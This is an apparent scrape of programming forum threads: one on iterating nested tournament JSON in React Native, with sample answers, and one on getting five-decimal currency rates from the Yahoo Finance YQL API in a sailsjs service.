"dStartDate": "2016-12-10",
"dEndDate": "2016-12-12",
"matches": [
{
"cVenueCode": "TTAB",
"cTableName": "Table 1",
"cEventType": "Junior Boys",
"cMatchNo": "5",
"cRound": "First Round",
"nScheduledDate": "2016-12-11",
"nScheduledTime": "11:45:00",
"teamname1": "MOTHER SCHOOL",
"teamname2": "HARI SHEWA SCHOOL",
"nVenueID": "1",
"nTableID": "1",
"nTeamID1": "3",
"nTeamID2": "4",
"nTournamentID": "1",
"nFixtureDetailsID": "15",
"nEventTypeID": "5",
"image": "http://example.com/tt.png"
},
{
"cVenueCode": "TTAB",
"cTableName": "Table 1",
"cEventType": "Junior Boys",
"cMatchNo": "4",
"cRound": "First Round",
"nScheduledDate": "2016-12-11",
"nScheduledTime": "11:30:00",
"teamname1": "MOTHER SCHOOL",
"teamname2": "HARI SHEWA SCHOOL",
"nVenueID": "1",
"nTableID": "1",
"nTeamID1": "3",
"nTeamID2": "4",
"nTournamentID": "1",
"nFixtureDetailsID": "14",
"nEventTypeID": "5",
"image": "http://example.com/tt.png"
}
]
}
],
"live_score_international": [
{
"nTournamentID": "2",
"cTournamentName": "International Tournament Sample",
"cTournamentType": "I",
"dStartDate": "2016-12-22",
"dEndDate": "2016-12-24",
"matches": []
}
],
"results_domestic": [
{
"nTournamentID": "1",
"cTournamentName": "sample tournament.",
"cTournamentType": "D",
"dStartDate": "2016-12-10",
"dEndDate": "2016-12-12",
"matches": [
{
"cVenueCode": "TTAB",
"cTableName": "Table 1",
"cEventType": "Junior Boys",
"cMatchNo": "5",
"cRound": "First Round",
"nScheduledDate": "2016-12-11",
"nScheduledTime": "11:45:00",
"teamname1": "MOTHER SCHOOL",
"teamname2": "HARI SHEWA SCHOOL",
"nVenueID": "1",
"nTableID": "1",
"nTeamID1": "3",
"nTeamID2": "4",
"nTournamentID": "1",
"nFixtureDetailsID": "15",
"nEventTypeID": "5",
"image": "http://example.com/tt.png"
},
{
"cVenueCode": "TTAB",
"cTableName": "Table 1",
"cEventType": "Junior Boys",
"cMatchNo": "4",
"cRound": "First Round",
"nScheduledDate": "2016-12-11",
"nScheduledTime": "11:30:00",
"teamname1": "MOTHER SCHOOL",
"teamname2": "HARI SHEWA SCHOOL",
"nVenueID": "1",
"nTableID": "1",
"nTeamID1": "3",
"nTeamID2": "4",
"nTournamentID": "1",
"nFixtureDetailsID": "14",
"nEventTypeID": "5",
"image": "http://example.com/tt.png"
}
]
}
],
"results_international": [
{
"nTournamentID": "2",
"cTournamentName": "International Tournament Sample",
"cTournamentType": "I",
"dStartDate": "2016-12-22",
"dEndDate": "2016-12-24",
"matches": []
}
],
"fixture_point_domestic": [
{
"nTournamentID": "1",
"cTournamentName": "sample tournament.",
"cTournamentType": "D",
"dStartDate": "2016-12-10",
"dEndDate": "2016-12-12"
}
],
"fixture_point_international": [
{
"nTournamentID": "2",
"cTournamentName": "International Tournament Sample",
"cTournamentType": "I",
"dStartDate": "2016-12-22",
"dEndDate": "2016-12-24"
}
]
}
This is the fetch result.I want to render first a heading like domestic Tournaments.Then i want to loop for al tornaments in domestic.Then all matches in each tournament.How i can do this?Anyone to help.thanks in advance :)
can you please help me to figure out how to iterate all
First of all you should decide on how the data should be displayed on the screen. Should they be clickable or not, scrolled or not, what part of screen they should take etc. And depending on the visual design of your future application you can make a choice what exact react-native visual component will represent the data on the screen by the best way.
For example, if it is applicable by visual design of your application you can take a look at the react-native ListView or ScrollView components to render endless list of identical complex data.
If iterating through that entire JSON object is your intent, then an easy approach is a for...in loop.
For example:
var obj = {a: 1, b: 2, c: {a: 1, b: 2}};
function walk(obj) {
for (var key in obj) {
if (obj.hasOwnProperty(key)) {
var val = obj[key];
console.log(val);
walk(val);
}
}
}
walk(obj);
Taken from: iterating through json object javascript
Object.keys(data).map((key) => { ... })
This will use the object properties (live_score_domestic, live_score_international, etc) to iterate through the top most data. Then you can use data[key] to get throught its contents.

Yahoo Finance API value to 5 decimals

Hi i'm trying to get Currey Pairs Values of foreign from the Yahoo Finance API ,
I've consulted the following answer
FinanceAPI
and i've choosed the yahoo finance api, I've created a sailsjs project and have used request module to get the Current pair value, my function to get get current currency pair value is
/*TradeService.js*/
var request = require('request')
module.exports = {
getPairValService: function(req, res, pair, callbacl) {
getPairVal(pair, function(err, data) {
if (data) {
callbacl(null, data);
}
})
}
};
function getPairVal(pair, pairValue) {
var yahoodefaultapisquery = 'http://query.yahooapis.com/v1/public/yql?q=select * from yahoo.finance.xchange where pair in ("EURUSD", "USDJPY", "USDBGN", "USDCZK", "USDDKK", "USDGBP", "USDHUF", "USDLTL", "USDLVL", "USDPLN", "USDRON", "USDSEK", "USDCHF", "USDNOK", "USDHRK", "USDRUB", "USDTRY", "USDAUD", "USDBRL", "USDCAD", "USDCNY", "USDHKD", "USDIDR", "USDILS", "USDINR", "USDKRW", "USDMXN", "USDMYR", "USDNZD", "USDPHP", "USDSGD", "USDTHB", "USDZAR", "USDISK")&format=json&env=store://datatables.org/alltableswithkeys';
var yahoocustomapisquery = 'http://query.yahooapis.com/v1/public/yql?q=select * from yahoo.finance.xchange where pair in ("' + pair + '")&format=json&env=store://datatables.org/alltableswithkeys'
var yahooapisquery = pair == '' ? yahoodefaultapisquery : yahoocustomapisquery;
request(yahooapisquery, function(error, response, body) {
if (error && response.statusCode != 200) {
sails.log.error(error) // Show the HTML for the Google homepage.
pairValue(error, null);
} else if (!error && response.statusCode == 200) {
sails.log.info(body);
pairValue(null, body);
}
})
}
and the response i receive from Yahoo Finance is something like
"query": {
"count": 2,
"created": "2015-07-20T11:24:14Z",
"lang": "en-US",
"diagnostics": {
"url": [{
"execution-start-time": "1",
"execution-stop-time": "3",
"execution-time": "2",
"content": "http://www.datatables.org/yahoo/finance/yahoo.finance.xchange.xml"
}, {
"execution-start-time": "12",
"execution-stop-time": "15",
"execution-time": "3",
"content": "http://download.finance.yahoo.com/d/quotes.csv?s=USDMXN=X&f=snl1d1t1ab"
}, {
"execution-start-time": "12",
"execution-stop-time": "16",
"execution-time": "4",
"content": "http://download.finance.yahoo.com/d/quotes.csv?s=USDCHF=X&f=snl1d1t1ab"
}],
"publiclyCallable": "true",
"cache": [{
"execution-start-time": "10",
"execution-stop-time": "11",
"execution-time": "1",
"method": "GET",
"type": "MEMCACHED",
"content": "8bb0e407e3bb00d83b039c07d63130d0"
}, {
"execution-start-time": "11",
"execution-stop-time": "12",
"execution-time": "1",
"method": "GET",
"type": "MEMCACHED",
"content": "d69f38521719d58f343c9657edf0ad59"
}],
"query": [{
"execution-start-time": "12",
"execution-stop-time": "16",
"execution-time": "4",
"content": "select * from csv where url='http://download.finance.yahoo.com/d/quotes.csv?s=USDCHF=X&f=snl1d1t1ab' and columns='Symbol,Name,Rate,Date,Time,Ask,Bid'"
}, {
"execution-start-time": "12",
"execution-stop-time": "16",
"execution-time": "4",
"content": "select * from csv where url='http://download.finance.yahoo.com/d/quotes.csv?s=USDMXN=X&f=snl1d1t1ab' and columns='Symbol,Name,Rate,Date,Time,Ask,Bid'"
}],
"javascript": [{
"execution-start-time": "10",
"execution-stop-time": "17",
"execution-time": "6",
"instructions-used": "37334",
"table-name": "yahoo.finance.xchange"
}, {
"execution-start-time": "10",
"execution-stop-time": "17",
"execution-time": "7",
"instructions-used": "37334",
"table-name": "yahoo.finance.xchange"
}],
"user-time": "18",
"service-time": "11",
"build-version": "0.2.154"
},
"results": {
"rate": [{
"id": "USDMXN",
"Name": "USD/MXN",
"Rate": "15.9260",
"Date": "7/20/2015",
"Time": "12:24pm",
"Ask": "15.9270",
"Bid": "15.9260"
}, {
"id": "USDCHF",
"Name": "USD/CHF",
"Rate": "0.9626",
"Date": "7/20/2015",
"Time": "12:24pm",
"Ask": "0.9628",
"Bid": "0.9626"
}]
}
}
}
Now that I've compare the pair values with MT4 software of different brokers I've came to see there is a lot of difference in yahoo figures and the MT4 figures of, and also i want the rate, ask and bib object to be five decimals like currently the value is 1.2584 i want it to be like 1.25849
Now that I've two big problems with it Please suggest how can i achieve my objectives of getting five decimal values and bigger difference using YAHOO API or do i need to use some one else ? because the major problem with others are limited hits per month or day.
Please Suggest and help me out.
Thanks in advance ;)